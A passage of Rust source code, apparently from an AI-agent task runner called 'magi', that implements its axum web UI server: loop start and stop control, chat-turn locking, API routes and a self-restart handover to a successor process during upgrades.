1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129pub const DEFAULT_PORT: u16 = 7878;
131
132const POLL: Duration = Duration::from_secs(1);
134
135const KEEPALIVE: Duration = Duration::from_secs(15);
139
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156const LIST_DEFAULT: usize = 50;
160const LIST_MAX: usize = 500;
162
163const TITLE_MAX: usize = 72;
165
166const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183const FILENAME_HEADER: &str = "x-filename";
187
188const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211 font-src data:; base-uri 'none'; form-action 'none'; \
212 frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221 Auto,
223 Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228 type Err = String;
229
230 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234 if s.eq_ignore_ascii_case("auto") {
235 return Ok(Self::Auto);
236 }
237 s.parse()
238 .map(Self::Addr)
239 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240 }
241}
242
243impl std::fmt::Display for Bind {
244 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245 match self {
246 Self::Auto => f.write_str("auto"),
247 Self::Addr(addr) => write!(f, "{addr}"),
248 }
249 }
250}
251
252#[derive(Debug, Clone)]
254pub struct Opts {
255 pub bind: Bind,
257 pub port: u16,
259 pub repo: PathBuf,
261 pub open: bool,
264 pub merge: Option<String>,
272}
273
274impl Default for Opts {
275 fn default() -> Self {
276 Self {
277 bind: Bind::Auto,
278 port: DEFAULT_PORT,
279 repo: PathBuf::from("."),
280 open: false,
281 merge: None,
282 }
283 }
284}
285
286#[derive(Debug, Clone)]
292pub struct Ui {
293 queue: Queue,
294 questions: Questions,
295 notices: Notices,
298 talks: Talks,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 worktrees_root: PathBuf,
309 talk_turns: Arc<Mutex<TalkTurns>>,
317 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
321 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
324 resuming: Arc<Mutex<HashSet<String>>>,
332 repos_cache: repos::Cache,
336 machine_config: Option<PathBuf>,
340 merge: Option<String>,
342 looping: Arc<Mutex<LoopState>>,
344 launch: Launch,
356 #[cfg(test)]
359 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
360}
361
362#[cfg(test)]
382struct BusyQueueGate {
383 reached: tokio::sync::oneshot::Sender<()>,
384 release: std::sync::mpsc::Receiver<()>,
385}
386
387#[cfg(test)]
388impl std::fmt::Debug for BusyQueueGate {
389 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
390 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
391 }
392}
393
394impl Ui {
395 pub fn new(
397 queue: Queue,
398 questions: Questions,
399 talks: Talks,
400 runs: PathBuf,
401 home: PathBuf,
402 repo: PathBuf,
403 ) -> Self {
404 Self {
405 queue,
406 questions,
407 notices: Notices::at(home.join("notifications")),
408 talks,
409 runs,
410 home,
411 repo,
412 worktrees_root: run::default_worktree_root(),
416 talk_turns: Arc::default(),
417 upgrade_gate: Arc::default(),
418 upgrade_spawned: Arc::default(),
419 resuming: Arc::default(),
420 repos_cache: repos::Cache::new(),
421 machine_config: Config::machine_layer(),
422 merge: None,
423 looping: Arc::default(),
424 launch: launch_daemon,
425 #[cfg(test)]
426 busy_queue_gate: Arc::default(),
427 }
428 }
429
430 pub fn open(repo: PathBuf) -> Self {
433 Self::new(
434 Queue::open(),
435 Questions::open(),
436 Talks::open(),
437 run::runs_root(),
438 run::home(),
439 repo,
440 )
441 }
442
443 #[must_use]
450 pub fn with_merge(mut self, merge: Option<String>) -> Self {
451 self.merge = merge;
452 self
453 }
454
455 #[cfg(test)]
458 #[must_use]
459 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
460 self.machine_config = path;
461 self
462 }
463
464 #[must_use]
469 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
470 self.worktrees_root = root;
471 self
472 }
473
474 #[cfg(test)]
479 #[must_use]
480 fn with_launch(mut self, launch: Launch) -> Self {
481 self.launch = launch;
482 self
483 }
484
485 #[cfg(test)]
495 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
496 *self
497 .busy_queue_gate
498 .lock()
499 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
500 }
501
502 fn looping(&self) -> Arc<Mutex<LoopState>> {
504 Arc::clone(&self.looping)
505 }
506
507 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
514 if let Some(other) = foreign {
515 return Err(ApiError::conflict(format!(
516 "{} is already running the loop, so this one will not start a \
517 second: two loops on one queue race for the same claims and \
518 burn the agent quota twice over. Stop it where it was \
519 started.",
520 other.who()
521 )));
522 }
523 let mut state = self.lock_loop();
524 if state.live.as_ref().is_some_and(Live::alive) {
525 return Err(ApiError::conflict(format!(
526 "this magi web process (pid {}) is already running the loop",
527 std::process::id()
528 )));
529 }
530
531 let stop = daemon::Stop::new();
532 let opts = daemon::Opts {
536 repo: self.repo.clone(),
537 merge: self.merge.clone(),
538 worktrees_root: Some(self.worktrees_root.clone()),
545 ..daemon::Opts::default()
546 };
547 let launch = self.launch;
548 let looping = Arc::clone(&self.looping);
549 let handle = tokio::spawn({
550 let opts = opts.clone();
551 let stop = stop.clone();
552 async move {
553 let failure = match launch(opts, stop).await {
554 Ok(()) => None,
555 Err(e) => Some(format!("{e:#}")),
556 };
557 match &failure {
558 Some(why) => tracing::error!("the loop stopped: {why}"),
559 None => tracing::info!("the loop stopped"),
560 }
561 let mut state = lock_or_recover(&looping);
567 state.live = None;
568 state.last_error = failure;
569 state.rev += 1;
570 }
571 });
572 tracing::info!(
573 "the loop is now running in this process: repo {}, merge {}",
574 opts.repo.display(),
575 opts.merge.as_deref().unwrap_or("as the config says")
576 );
577 state.live = Some(Live { stop, handle, opts });
578 state.last_error = None;
581 state.rev += 1;
582 Ok(())
583 }
584
585 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
591 if let Some(other) = foreign {
592 return Err(ApiError::conflict(format!(
593 "the loop belongs to {}, and this process cannot stop it - \
594 stop it where it was started. A button that silently did \
595 nothing would be worse than this refusal.",
596 other.who()
597 )));
598 }
599 let mut state = self.lock_loop();
600 if !park {
603 state.resume_after_handover = false;
604 }
605 let Some(live) = state.live.as_ref() else {
606 return Ok(());
607 };
608 if live.stop.stopped() && (!park || live.stop.parking()) {
612 return Ok(());
613 }
614 if park {
615 live.stop.park();
616 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
617 } else {
618 live.stop.stop();
619 tracing::info!("the loop was asked to stop; a run in flight is finished first");
620 }
621 state.rev += 1;
622 Ok(())
623 }
624
625 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
632 let state = self.lock_loop();
633 let live = state.live.as_ref().filter(|live| live.alive());
636 LoopView {
637 running: live.is_some(),
638 stopping: live.is_some_and(|live| live.stop.finishing()),
639 parking: live.is_some_and(|live| live.stop.parking()),
640 owned: live.is_some(),
641 repo: live
642 .map_or(&self.repo, |live| &live.opts.repo)
643 .display()
644 .to_string(),
645 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
646 last_error: state.last_error.clone(),
647 daemon: DaemonView::of(reading),
648 }
649 }
650
651 fn resume_after_handover(&self, resume: bool) -> bool {
657 if !resume {
658 return false;
659 }
660 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
661 match self.start_loop(foreign) {
662 Ok(()) => true,
663 Err(e) => {
664 let why = format!(
665 "the loop could not be resumed after the upgrade: {}",
666 e.message
667 );
668 tracing::warn!("{why}");
669 let mut state = self.lock_loop();
670 state.last_error = Some(why);
671 state.rev += 1;
672 false
673 }
674 }
675 }
676
677 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
679 lock_or_recover(&self.looping)
680 }
681
682 fn is_thinking(&self, id: &str) -> bool {
688 self.talk_turns
689 .lock()
690 .is_ok_and(|turns| turns.live.contains(id))
691 || self.talks.turn_held(id)
694 }
695
696 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
715 self.claim_talk_turn(id, false)
716 }
717
718 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
721 self.claim_talk_turn(id, true)
722 }
723
724 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
725 let mut live = self
726 .talk_turns
727 .lock()
728 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
729 if live.parking {
730 if queued {
731 *live.queued.entry(id.to_owned()).or_default() += 1;
734 return Ok(None);
735 }
736 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
737 }
738 let inserted = live.live.insert(id.to_owned());
739 let lease = if inserted {
743 match self.talks.claim_turn(id) {
744 Ok(Some(lease)) => Some(lease),
745 Ok(None) => {
746 live.live.remove(id);
747 None
748 }
749 Err(e) => {
750 live.live.remove(id);
751 return Err(ApiError::from(e));
752 }
753 }
754 } else {
755 None
756 };
757 if lease.is_none() {
758 if queued {
759 *live.queued.entry(id.to_owned()).or_default() += 1;
764 }
765 return Ok(None);
766 }
767 Ok(Some(TalkTurnGuard {
768 talk: id.to_owned(),
769 turns: Arc::clone(&self.talk_turns),
770 released: false,
771 lease,
772 }))
773 }
774
775 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
780 let mut live = self
781 .talk_turns
782 .lock()
783 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
784 if live.parking || live.live.contains(id) {
786 return Ok(TalkTurnStart::Busy);
787 }
788 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
789 return Ok(TalkTurnStart::Foreign);
790 };
791 let talk = self.talks.get(id).map_err(ApiError::from)?;
793 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
794 return Ok(TalkTurnStart::Pending);
795 }
796 live.live.insert(id.to_owned());
797 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
798 talk: id.to_owned(),
799 turns: Arc::clone(&self.talk_turns),
800 released: false,
801 lease: Some(lease),
802 }))
803 }
804
805 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
807 Arc::clone(&self.talk_turns)
808 }
809
810 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
817 let parking = {
818 let mut state = self.lock_loop();
819 let resume = state.resume_after_handover
829 || state
830 .live
831 .as_ref()
832 .is_some_and(|live| live.alive() && !live.stop.stopped());
833 state.resume_after_handover = resume;
834 let Some(live) = state.live.as_ref() else {
835 return Ok(None);
836 };
837 let busy = live.stop.busy_now();
838 live.stop.park();
839 state.rev += 1;
840 busy
841 };
842 Ok(if parking {
843 daemon::current_work(&self.home, jiff::Timestamp::now())
848 .into_iter()
849 .next()
850 .map(|c| c.run)
851 } else {
852 None
853 })
854 }
855
856 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
860 let mut live = self
861 .resuming
862 .lock()
863 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
864 if !live.insert(id.to_owned()) {
865 return Err(ApiError::conflict(format!(
866 "run {id} is already being resumed"
867 )));
868 }
869 Ok(ResumeGuard {
870 run: id.to_owned(),
871 resuming: Arc::clone(&self.resuming),
872 })
873 }
874
875 pub fn router(self) -> Router {
883 Router::new()
884 .route("/", get(index))
885 .route("/app.css", get(app_css))
886 .route("/app.js", get(app_js))
887 .route("/api/health", get(health))
888 .route("/api/loop", get(loop_get).post(loop_post))
889 .route("/api/upgrade", post(upgrade_post))
890 .route("/api/runs", get(runs_list))
891 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
892 .route("/api/runs/{id}/report", get(run_report))
893 .route("/api/runs/{id}/report.json", get(run_report_json))
894 .route("/api/runs/{id}/fold", post(run_fold))
895 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
896 .route("/api/runs/{id}/resume", post(run_resume))
897 .route("/api/queue", get(queue_list))
898 .route("/api/search", get(search_get))
899 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
900 .route("/api/stats", get(stats_get))
901 .route("/api/repos", get(repos_list))
902 .route("/api/settings", get(settings_get))
903 .route("/api/settings/roles", put(settings_put_roles))
904 .route("/api/queue/{id}/hold", post(queue_hold))
905 .route("/api/queue/{id}/release", post(queue_release))
906 .route("/api/queue/{id}/priority", post(queue_priority))
907 .route("/api/queue/{id}/edit", post(queue_edit))
908 .route("/api/queue/{id}/done", post(queue_done))
909 .route("/api/questions", get(questions_list))
910 .route("/api/questions/{id}/answer", post(question_answer))
911 .route("/api/questions/{id}/say", post(question_say))
912 .route("/api/questions/{id}/consult", post(question_consult))
913 .route("/api/questions/{id}/panel", get(question_panel))
914 .route("/api/questions/{id}/panel/index.html", get(question_panel))
922 .route("/api/questions/{id}/panel/{name}", get(question_asset))
923 .route("/api/questions/{id}/asset/{name}", get(question_asset))
924 .route("/api/notifications", get(notifications_list))
925 .route("/api/notifications/read-all", post(notifications_read_all))
926 .route("/api/notifications/{id}/read", post(notification_read))
927 .route(
928 "/api/notifications/{id}/dismiss",
929 post(notification_dismiss),
930 )
931 .route("/api/talks", get(talks_list).post(talk_post))
932 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
933 .route("/api/talks/{id}/say", post(talk_say))
934 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
935 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
936 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
937 .route("/api/talks/{id}/agent", post(talk_agent))
938 .route("/api/talks/{id}/persona", post(talk_persona))
939 .route("/api/talks/{id}/close", post(talk_close))
940 .route("/api/talks/{id}/reopen", post(talk_reopen))
941 .route(
947 "/api/talks/{id}/attachments",
948 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
949 )
950 .route(
951 "/api/talks/{id}/attachments/{att}",
952 get(talk_attachment_get),
953 )
954 .route("/api/events", get(events))
955 .with_state(Arc::new(self))
956 }
957}
958
959const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
962
963#[derive(Debug)]
969struct TalkTurnGuard {
970 talk: String,
971 turns: Arc<Mutex<TalkTurns>>,
972 released: bool,
973 lease: Option<crate::talk::TurnLease>,
975}
976
977#[derive(Debug, Default)]
984struct TalkTurns {
985 live: HashSet<String>,
986 queued: HashMap<String, u64>,
987 parking: bool,
991}
992
993enum TalkTurnStart {
996 Claimed(TalkTurnGuard),
997 Busy,
998 Foreign,
1001 Pending,
1002}
1003
1004impl TalkTurnGuard {
1005 fn owns(&self) -> bool {
1009 self.lease
1010 .as_ref()
1011 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1012 }
1013
1014 async fn respond(
1017 &self,
1018 talk: &mut Talk,
1019 talks: &Talks,
1020 cfg: &Config,
1021 text: &str,
1022 ) -> anyhow::Result<()> {
1023 let lease = self
1024 .lease
1025 .as_ref()
1026 .context("the turn guard no longer holds its lease")?;
1027 talk::respond(lease, talk, talks, cfg, text).await
1028 }
1029
1030 fn release(mut self, live: &mut TalkTurns) {
1033 self.lease = None;
1037 live.live.remove(&self.talk);
1038 live.queued.remove(&self.talk);
1039 self.released = true;
1040 }
1041}
1042
1043impl Drop for TalkTurnGuard {
1044 fn drop(&mut self) {
1045 if self.released {
1046 return;
1047 }
1048 drop(self.lease.take());
1050 if let Ok(mut live) = self.turns.lock() {
1051 live.live.remove(&self.talk);
1052 live.queued.remove(&self.talk);
1053 }
1054 }
1055}
1056
1057struct ResumeGuard {
1059 run: String,
1060 resuming: Arc<Mutex<HashSet<String>>>,
1061}
1062
1063impl Drop for ResumeGuard {
1064 fn drop(&mut self) {
1065 if let Ok(mut live) = self.resuming.lock() {
1066 live.remove(&self.run);
1067 }
1068 }
1069}
1070
1071async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1081 const WINDOW: Duration = Duration::from_secs(10);
1082 const GAP: Duration = Duration::from_millis(250);
1083
1084 let deadline = std::time::Instant::now() + WINDOW;
1085 let mut said = false;
1086 loop {
1087 match tokio::net::TcpListener::bind(socket).await {
1088 Ok(listener) => return Ok(listener),
1089 Err(e)
1090 if e.kind() == std::io::ErrorKind::AddrInUse
1091 && std::time::Instant::now() < deadline =>
1092 {
1093 if !said {
1094 said = true;
1095 tracing::info!(
1096 "{socket} is still held - waiting up to {}s for it, \
1097 which is what a restart looks like from here",
1098 WINDOW.as_secs()
1099 );
1100 }
1101 tokio::time::sleep(GAP).await;
1102 }
1103 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1104 }
1105 }
1106}
1107
1108static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1111
1112const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1114
1115fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1117 value.is_some_and(|v| v == "1")
1118}
1119
1120fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1143 let exe = std::env::current_exe().context("find this binary")?;
1144 let args: Vec<String> = std::env::args().skip(1).collect();
1145 updater::log_step(
1146 home,
1147 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1148 );
1149 let log_path = home.join(WEB_LOG);
1150 let open_log = || {
1151 std::fs::create_dir_all(home)?;
1152 std::fs::OpenOptions::new()
1153 .create(true)
1154 .append(true)
1155 .open(&log_path)
1156 };
1157 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1158 Ok(pair) => (
1159 std::process::Stdio::from(pair.0),
1160 std::process::Stdio::from(pair.1),
1161 ),
1162 Err(e) => {
1163 updater::log_warn(
1164 home,
1165 &format!(
1166 "could not open {}: {e}; the successor logs nowhere",
1167 log_path.display()
1168 ),
1169 );
1170 (std::process::Stdio::null(), std::process::Stdio::null())
1171 }
1172 };
1173
1174 let mut cmd = std::process::Command::new(&exe);
1175 if resume {
1176 cmd.env(RESUME_LOOP_ENV, "1");
1177 } else {
1178 cmd.env_remove(RESUME_LOOP_ENV);
1179 }
1180 cmd.args(&args)
1181 .stdin(std::process::Stdio::null())
1182 .stdout(out)
1183 .stderr(err);
1184 #[cfg(windows)]
1185 {
1186 use std::os::windows::process::CommandExt as _;
1187 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1190 }
1191 let child = cmd.spawn().context("start the successor")?;
1192 Ok(child.id())
1193}
1194
1195const WEB_LOG: &str = "web.log";
1197
1198async fn wait_for_handover(signal: &Notify) {
1202 signal.notified().await;
1203}
1204
1205pub async fn serve(opts: Opts) -> Result<()> {
1230 let (addr, warning) = resolve_bind(&opts.bind);
1231 if let Some(warning) = warning {
1232 tracing::warn!("{warning}");
1233 }
1234
1235 report::set_color(false);
1241
1242 let repo = normalize_default_repo(opts.repo).await;
1243 let ui = Ui::open(repo).with_merge(opts.merge);
1244 let home = ui.home.clone();
1249 let repo = ui.repo.clone();
1250 updater::reconcile_after_restart(&home);
1255 updater::log_step(
1256 &home,
1257 &format!(
1258 "web process started (version {}); handover log {}, successor output {}",
1259 env!("CARGO_PKG_VERSION"),
1260 updater::log_path(&home).display(),
1261 home.join(WEB_LOG).display()
1262 ),
1263 );
1264 updater::spawn_watchdog(home.clone());
1265 tokio::spawn(run_update_recheck(repo, home.clone()));
1274 let looping = ui.looping();
1275 let turns = ui.turns();
1276 let talk_store = ui.talks.clone();
1277 let socket = SocketAddr::new(addr, opts.port);
1278 let listener = bind_waiting(socket).await?;
1279 let url = format!("http://{addr}:{}", opts.port);
1280 tracing::info!(
1281 "magi web UI on {url} - there is no authentication, so anyone who can \
1282 reach this address can file and hold tasks: the tailnet is the \
1283 security boundary"
1284 );
1285 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1286 tracing::info!("resumed the loop the predecessor was running");
1287 } else {
1288 tracing::info!(
1289 "the queue loop is not running yet - start it from the UI, which is \
1290 the whole reason this process can: nothing in the queue moves until \
1291 something is running the loop"
1292 );
1293 }
1294 if opts.open {
1295 println!("{url}");
1299 }
1300
1301 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1304 let interrupted = async {
1305 if tokio::signal::ctrl_c().await.is_err() {
1306 std::future::pending::<()>().await;
1311 }
1312 };
1313 let handover = wait_for_handover(&HANDOVER);
1314 let outcome = tokio::select! {
1315 joined = &mut served => match joined {
1316 Ok(outcome) => outcome.context("serve the web UI"),
1317 Err(e) => Err(e).context("the task serving the web UI ended"),
1318 },
1319 () = interrupted => {
1320 tracing::info!("shutting down the web UI");
1321 finish_loop(&home, &looping, None).await;
1322 Ok(())
1323 }
1324 () = handover => {
1325 updater::log_step(&home, "serve: the select! woke on the handover signal");
1326 let successor_home = home.clone();
1327 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1328 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1329 spawn_successor(&successor_home, resume)
1330 })
1331 .await
1332 }
1333 };
1334 updater::log_step(
1335 &home,
1336 &match &outcome {
1337 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1338 Err(e) => format!("serve: returning an error: {e:#}"),
1339 },
1340 );
1341 outcome
1342}
1343
1344async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1365 if repo != FsPath::new(".") {
1366 return repo;
1367 }
1368 let Ok(canonical) = repo.canonicalize() else {
1369 return repo;
1370 };
1371 if git::toplevel(&canonical).await.is_ok() {
1372 return repo;
1373 }
1374 let Some(home) = dirs::home_dir() else {
1375 return repo;
1376 };
1377 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1378 Some(found) => {
1379 tracing::info!(
1380 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1381 canonical.display(),
1382 found.path.display(),
1383 found.reason,
1384 );
1385 found.path
1386 }
1387 None => repo,
1388 }
1389}
1390
1391async fn hand_over(
1421 home: &FsPath,
1422 looping: &Mutex<LoopState>,
1423 turns: &Arc<Mutex<TalkTurns>>,
1424 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1425 served: tokio::task::JoinHandle<std::io::Result<()>>,
1426 successor: impl FnOnce(bool) -> Result<u32>,
1427) -> Result<()> {
1428 updater::log_step(home, "hand_over: entered; writing the parking stage");
1429 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1433 if !recorded {
1434 updater::log_warn(
1435 home,
1436 "hand_over: upgrade.json is unreadable; no parking stage",
1437 );
1438 }
1439 let parking = ParkingTurns::begin(turns);
1440 let loop_done = finish_loop(home, looping, None);
1441 let talks_done = finish_talks(home, turns, talk_wait);
1442 tokio::pin!(loop_done, talks_done);
1443 let (mut loop_ended, mut talks_ended) = (false, None);
1444 let mut beat = tokio::time::interval(LEASE_BEAT);
1445 while !loop_ended || talks_ended.is_none() {
1446 tokio::select! {
1447 () = &mut loop_done, if !loop_ended => loop_ended = true,
1448 left = &mut talks_done, if talks_ended.is_none() => talks_ended = Some(left),
1449 _ = beat.tick() => lease.beat(),
1450 }
1451 }
1452 let (abandoned, waited_for) = talks_ended.unwrap_or_default();
1453 drop(lease);
1454 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1455 served.abort();
1456 let _ = served.await;
1457 updater::log_step(home, "hand_over: listener released");
1458 let resume = lock_or_recover(looping).resume_after_handover;
1461 match updater::read_progress(home) {
1462 Some(mut progress) => {
1463 progress.advance(updater::Stage::Restarting);
1464 if !abandoned.is_empty() {
1465 progress.detail = Some(format!(
1466 "handed over while {} still running after {} s",
1467 updater::talks_phrase(&abandoned),
1468 waited_for.as_secs()
1469 ));
1470 }
1471 updater::write_progress_logged(home, &progress);
1472 }
1473 None => updater::log_warn(
1474 home,
1475 "hand_over: upgrade.json is unreadable; no restarting stage",
1476 ),
1477 }
1478 updater::log_step(
1479 home,
1480 &format!("hand_over: starting the successor (resume={resume})"),
1481 );
1482 drop(parking);
1483 match successor(resume) {
1484 Ok(pid) => {
1485 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1486 Ok(())
1487 }
1488 Err(e) => {
1489 updater::log_warn(
1490 home,
1491 &format!("hand_over: the successor did not start: {e:#}"),
1492 );
1493 Err(e)
1494 }
1495 }
1496}
1497
1498const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1501
1502const TALK_POLL: Duration = Duration::from_millis(250);
1504
1505fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1508 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1509}
1510
1511fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1516 let default = Config::default().graph.timeout_talk;
1517 let longest = ids
1518 .iter()
1519 .map(|id| {
1520 talks
1521 .get(id)
1522 .ok()
1523 .and_then(|t| Config::discover(&t.repo, None).ok())
1524 .map_or(default, |(c, _)| c.graph.timeout_talk)
1525 })
1526 .max()
1527 .unwrap_or(default);
1528 talk_wait_bound(longest)
1529}
1530
1531struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1534
1535impl ParkingTurns {
1536 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1537 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1538 Self(Arc::clone(turns))
1539 }
1540}
1541
1542impl Drop for ParkingTurns {
1543 fn drop(&mut self) {
1544 self.0
1545 .lock()
1546 .unwrap_or_else(PoisonError::into_inner)
1547 .parking = false;
1548 }
1549}
1550
1551async fn finish_talks(
1556 home: &FsPath,
1557 turns: &Mutex<TalkTurns>,
1558 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1559) -> (Vec<String>, Duration) {
1560 let running = || {
1561 let mut ids: Vec<String> = turns
1562 .lock()
1563 .unwrap_or_else(PoisonError::into_inner)
1564 .live
1565 .iter()
1566 .cloned()
1567 .collect();
1568 ids.sort();
1569 ids
1570 };
1571 let started = std::time::Instant::now();
1572 let mut seen = Vec::new();
1573 let mut bound = Duration::ZERO;
1574 loop {
1575 let ids = running();
1576 if ids != seen {
1577 bound = bound.max(bound_for(&ids));
1578 if ids.is_empty() {
1579 updater::log_step(home, "finish_talks: no chat turn is running");
1580 } else {
1581 updater::log_step(
1582 home,
1583 &format!(
1584 "finish_talks: waiting for {} to finish",
1585 updater::talks_phrase(&ids)
1586 ),
1587 );
1588 }
1589 updater::set_parked_talks(home, &ids);
1590 seen = ids;
1591 }
1592 if seen.is_empty() {
1593 return (Vec::new(), bound);
1594 }
1595 if started.elapsed() >= bound {
1596 updater::log_warn(
1597 home,
1598 &format!(
1599 "finish_talks: {} still running after {} s; handing over anyway",
1600 updater::talks_phrase(&seen),
1601 bound.as_secs()
1602 ),
1603 );
1604 return (seen, bound);
1605 }
1606 tokio::time::sleep(TALK_POLL).await;
1607 }
1608}
1609
1610const LEASE_BEAT: Duration = Duration::from_secs(20);
1613
1614async fn finish_loop(
1621 home: &FsPath,
1622 state: &Mutex<LoopState>,
1623 mut lease: Option<&mut updater::LeaseGuard>,
1624) {
1625 let live = lock_or_recover(state).live.take();
1626 let Some(live) = live else {
1627 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1628 return;
1629 };
1630 live.stop.stop();
1631 lock_or_recover(state).rev += 1;
1632 updater::log_step(
1633 home,
1634 "finish_loop: waiting for the loop to finish the run in flight",
1635 );
1636 let waited = std::time::Instant::now();
1637 let mut handle = live.handle;
1640 let mut beat = tokio::time::interval(LEASE_BEAT);
1641 loop {
1642 tokio::select! {
1643 _ = &mut handle => break,
1644 _ = beat.tick() => {
1645 if let Some(lease) = lease.as_deref_mut() {
1646 lease.beat();
1647 }
1648 }
1649 }
1650 }
1651 updater::log_step(
1652 home,
1653 &format!(
1654 "finish_loop: the loop ended after {:.1}s",
1655 waited.elapsed().as_secs_f32()
1656 ),
1657 );
1658}
1659
1660pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1666 match bind {
1667 Bind::Addr(addr) => (*addr, None),
